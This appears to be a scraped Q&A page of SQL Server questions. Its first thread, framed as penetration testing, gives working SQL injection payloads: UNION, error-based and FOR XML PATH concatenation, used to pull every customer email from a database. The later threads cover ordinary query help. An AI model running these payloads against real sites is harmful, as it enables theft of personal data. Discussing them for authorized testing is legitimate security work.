SQL Server injection point - sql-server

While doing penetration tests I found a SQL injection point in SQL Server.
I manage to use this
' UNION ALL SELECT
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,email
from customers where customer_id =10--
This is giving me the email for user ID 10. If I change the ID number it will give me other results.
Is there any way to get all the emails in one query?
Thanks
UPDATE
Using
' or 1=convert(int,(select top 1 email from customers))--
I am getting the first email. By changing to 10 for example I am getting
[OleDbException (0x80004005): Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.]
Any ideas?

Just leave the where clause off altogether. It's the thing limiting what's coming out of the partial query. In other words, something like:
' union all select <too many nulls to retype>, email from customers --
If that only gets you one row then it's a fairly safe bet that the code running the website is enforcing that limit, such as if appending something like fetch first row only or limit 1 or something like that.
If that's the case, you'll need to keep the where clause in and automate the attack one ID at a time. You may also need to ensure that the "real" row is after the injection-obtained row so that the former won't be retrieved in preference to the the latter. A lookup key that you know isn't in the database would do the trick.

You could try and stuff them all into a CSV, depending on the length of the output? That means if you're limited to one row you should get it back?
Try missing out the where clause and using the following:
' union all select <nulls>, SUBSTRING((select ',' + email from customer order by email for xml path('')), 2, 1000000) --

You specify this WHERE clause to return all customers:
WHERE customer_id = customer_id--

Related

how to select first rows distinct by a column name in a sub-query in sql-server?

Actually I am building a Skype like tool wherein I have to show last 10 distinct users who have logged in my web application.
I have maintained a table in sql-server where there is one field called last_active_time. So, my requirement is to sort the table by last_active_time and show all the columns of last 10 distinct users.
There is another field called WWID which uniquely identifies a user.
I am able to find the distinct WWID but not able to select the all the columns of those rows.
I am using below query for finding the distinct wwid :
select distinct(wwid) from(select top 100 * from dbo.rvpvisitors where last_active_time!='' order by last_active_time DESC) as newView;
But how do I find those distinct rows. I want to show how much time they are away fromm web apps using the diff between curr time and last active time.
I am new to sql, may be the question is naive, but struggling to get it right.
If you are using proper data types for your columns you won't need a subquery to get that result, the following query should do the trick
SELECT TOP 10
[wwid]
,MAX([last_active_time]) AS [last_active_time]
FROM [dbo].[rvpvisitors]
WHERE
[last_active_time] != ''
GROUP BY
[wwid]
ORDER BY
[last_active_time] DESC
If the column [last_active_time] is of type varchar/nvarchar (which probably is the case since you check for empty strings in the WHERE statement) you might need to use CAST or CONVERT to treat it as an actual date, and be able to use function like MIN/MAX on it.
In general I would suggest you to use proper data types for your column, if you have dates or timestamps data use the "date" or "datetime2" data types
Edit:
The query aggregates the data based on the column [wwid], and for each returns the maximum [last_active_time].
The result is then sorted and filtered.
In order to add more columns "as-is" (without aggregating them) just add them in the SELECT and GROUP BY sections.
If you need more aggregated columns add them in the SELECT with the appropriate aggregation function (MIN/MAX/SUM/etc)
I suggest you have a look at GROUP BY on W3
To know more about the "execution order" of the instruction you can have a look here
You can solve problem like this by rank ordering the results by a key and finding the last x of those items, this removes duplicates while preserving the key order.
;
WITH RankOrdered AS
(
SELECT
*,
wwidRank = ROW_NUMBER() OVER (PARTITION BY wwid ORDER BY last_active_time DESC )
FROM
dbo.rvpvisitors
where
last_active_time!=''
)
SELECT TOP(10) * FROM RankOrdered WHERE wwidRank = 1
If my understanding is right, below query will give the desired output.
You can have conditions according to your need.
select top 10 distinct wwid from dbo.rvpvisitors order by last_active_time desc

SQL How to compare if a variable is the same as a value in a database column?

The problem I have is the following:
I work with a ticket system that uses plugins to realize workflows.
In this case I use SQL to presort incoming emails.
The SQL query looks like this:
SELECT Count(Case when {MSG_CC_002_DeviceReg_MailBody} LIKE '%You have received an invoice from%' Then 1 END);
What I want to do now is instead of using LIKE and then a certain phrase like above, I want to compare this to a column in a database table that contains all necessary phrases.
The table has only two columns, phraseID and phrase.
{MSG_CC_002_DeviceReg_MailBody} is the variable that needs to compared against the values of the column.
So if the variable matches with an entry in the column it should just return 1.
[Edit:]
This is just one of the things I want to use this for, I also have a variable {MSG_CC_002_DeviceReg_MailSender} that will provide the email address that I want to compare to a similar table that contains email addresses.
Is this possible?
If so - how?
You can use join or a subquery:
select count(*)
from t
where exists (select 1
from othertable ot
where {MSG_CC_002_DeviceReg_MailBody} LIKE '%' + ot.phrase + '%'
) ;
This will be dog-slow if you have a lot of phrases or email addresses, but it'll give you what you want.
SELECT COUNT(*) AS RetValue
FROM PhraseTable
WHERE {MSG_CC_002_DeviceReg_MailBody} LIKE '%' + phrase + '%';
Yes it is possible, you can achieve this with using dynamic query. Basically you need to construct your query as a string then execute it.
You can find examples and more information about dynamic query within the following link;
https://www.mssqltips.com/sqlservertip/1160/execute-dynamic-sql-commands-in-sql-server/

Order by in union clause

Could any one please help me I have been working on a query containing unions n joins of multiple tables.. I have got the desired results but I want to get these results in some specific order so the whole result is being orderd according to one column.
Here is the snippet of code I am working on:
select name, age
from UserUni
order by age
union all
select age, Name
from UserOffice
order by age
Just add an ORDER BY clause at the very end of the UNION query, and it should be applied to the entire query:
select name, age
from UserUni
union all
select name, age
from UserOffice
order by age
Note that I swapped the order of the columns appearing in the second half of the UNION query because it doesn't make sense to put age and name into the same column. It is generally a requirement in a UNION query that the types and number of all columns be the same in boths halves of the query. One exception might be MySQL, which might appear to allow mixing numbers and text, but even in this case some implicit type conversion would be happening underneath the hood.
when we are using we can not use order by with both statements. because union at the end give one result end so how is it possible to use two order by statements.
you can check details here.
https://finalcodingtutorials.blogspot.ae/2017/03/order-by-clause-with-union-in-sql-server.html
hopefully it will resolve your issue will let you know complete details or union and order by statement.

Group by an evaluated field (sql server) [duplicate]

Why are column ordinals legal for ORDER BY but not for GROUP BY? That is, can anyone tell me why this query
SELECT OrgUnitID, COUNT(*) FROM Employee AS e GROUP BY OrgUnitID
cannot be written as
SELECT OrgUnitID, COUNT(*) FROM Employee AS e GROUP BY 1
When it's perfectly legal to write a query like
SELECT OrgUnitID FROM Employee AS e ORDER BY 1
?
I'm really wondering if there's something subtle about the relational calculus, or something, that would prevent the grouping from working right.
The thing is, my example is pretty trivial. It's common that the column that I want to group by is actually a calculation, and having to repeat the exact same calculation in the GROUP BY is (a) annoying and (b) makes errors during maintenance much more likely. Here's a simple example:
SELECT DATEPART(YEAR,LastSeenOn), COUNT(*)
FROM Employee AS e
GROUP BY DATEPART(YEAR,LastSeenOn)
I would think that SQL's rule of normalize to only represent data once in the database ought to extend to code as well. I'd want to only right that calculation expression once (in the SELECT column list), and be able to refer to it by ordinal in the GROUP BY.
Clarification: I'm specifically working on SQL Server 2008, but I wonder about an overall answer nonetheless.
One of the reasons is because ORDER BY is the last thing that runs in a SQL Query, here is the order of operations
FROM clause
WHERE clause
GROUP BY clause
HAVING clause
SELECT clause
ORDER BY clause
so once you have the columns from the SELECT clause you can use ordinal positioning
EDIT, added this based on the comment
Take this for example
create table test (a int, b int)
insert test values(1,2)
go
The query below will parse without a problem, it won't run
select a as b, b as a
from test
order by 6
here is the error
Msg 108, Level 16, State 1, Line 3
The ORDER BY position number 6 is out of range of the number of items in the select list.
This also parses fine
select a as b, b as a
from test
group by 1
But it blows up with this error
Msg 164, Level 15, State 1, Line 3
Each GROUP BY expression must contain at least one column that is not an outer reference.
There is a lot of elementary inconsistencies in SQL, and use of scalars is one of them. For example, anyone might expect
select * from countries
order by 1
and
select * from countries
order by 1.00001
to be a similar queries (the difference between the two can be made infinitesimally small, after all), which are not.
I'm not sure if the standard specifies if it is valid, but I believe it is implementation-dependent. I just tried your first example with one SQL engine, and it worked fine.
use aliasses :
SELECT DATEPART(YEAR,LastSeenOn) as 'seen_year', COUNT(*) as 'count'
FROM Employee AS e
GROUP BY 'seen_year'
** EDIT **
if GROUP BY alias is not allowed for you, here's a solution / workaround:
SELECT seen_year
, COUNT(*) AS Total
FROM (
SELECT DATEPART(YEAR,LastSeenOn) as seen_year, *
FROM Employee AS e
) AS inline_view
GROUP
BY seen_year
databases that don't support this basically are choosing not to. understand the order of the processing of the various steps, but it is very easy (as many databases have shown) to parse the sql, understand it, and apply the translation for you. Where its really a pain is when a column is a long case statement. having to repeat that in the group by clause is super annoying. yes, you can do the nested query work around as someone demonstrated above, but at this point it is just lack of care about your users to not support group by column numbers.

Update zipcode to Pad with Zeros in SQL SERVER 2012

I have a table with a Zipcode column.
The Zipcode column is an int.
How to I update this column to show padded zeros such that all values are 5 digits?
I know how to do this as a SELECT statement, but I don't know how to then update the coulmn in the table. Below is my best effort.
USE RTCA_new
GO
UPDATE tbl_BASE
SET Zipcode = (
SELECT FORMAT(Zipcode, '00000')
FROM rtca.tbl_BASE
)
The resulting error is:
Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.
The statement has been terminated.
In short, I would like a zipcode value 802 to display as 00802
As you've probably figured out, zip codes can start with 0. integers in sql server do not allow for 0 padding.
I see your options as:
always padding it in the select
changing the column type to a more appropriate varchar and padding that with 0s up to 5 characters. (you should do this preferably)
Steps for new columns:
Create new varchar(5) column for zipCode (newZipCode as example)
populate the newZipCode column as:
update tbl_base
set newZipCode = right('00000' + cast(zipCode as varchar(5)), 5)
drop your int zipcode column
rename your newZipCode column to zipCode
The specific reason for your error:
Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression. The statement has been terminated.
In the query:
UPDATE tbl_BASE
SET Zipcode = (
SELECT FORMAT(Zipcode, '00000')
FROM rtca.tbl_BASE
)
Is because you have a logic error or similar in your statement. you're attempting to set a scalar value (ZipCode) to a set's value (your select format... statement.)
the statement:
SELECT FORMAT(Zipcode, '00000')
FROM rtca.tbl_BASE
by itself would return a row for every row in the table, you can't set a whole result set to a scalar value. The immediate error can be fixed as so:
UPDATE tbl_BASE
SET Zipcode = FORMAT(Zipcode, '00000')
this would return a single value for zipcode... though again due to your current table schema, this would not give you the result you're hoping as integers can't be padded with 0s
It works different:
Update tbl_BASE set zipcode = right('000000' + zipcode, 6)
It's probably best to change the database design if possible (even though you might save a tiny bit of storage in the row by not using a string value.) If you do just need to convert it only for display purposes it's just a question of conversion.
select right('00000' + cast(zipcode as varchar(5)), 5) from T...
-- for use format() on later editions of SQL Server
By the way I would still recommend doing some reading about update to explore why you didn't really want a subquery for what you were trying to accomplish.
You could add a computed column to the table if you need this conversion to happen on the fly. Seeing that you were trying to update a column with a formatted value is probably evidence that the biggest problem was indeed a misunderstanding of data types as has already been pointed out.
You will need to change your datatype for the Zipcode column to varchar. Once you do that, you could use replicate, concat and right functions to format your data:
UPDATE tbl_BASE
SET zipcode = right(CONCAT(
replicate('0', 5)
,cast(zipcode as varchar(5))
), 5)

Resources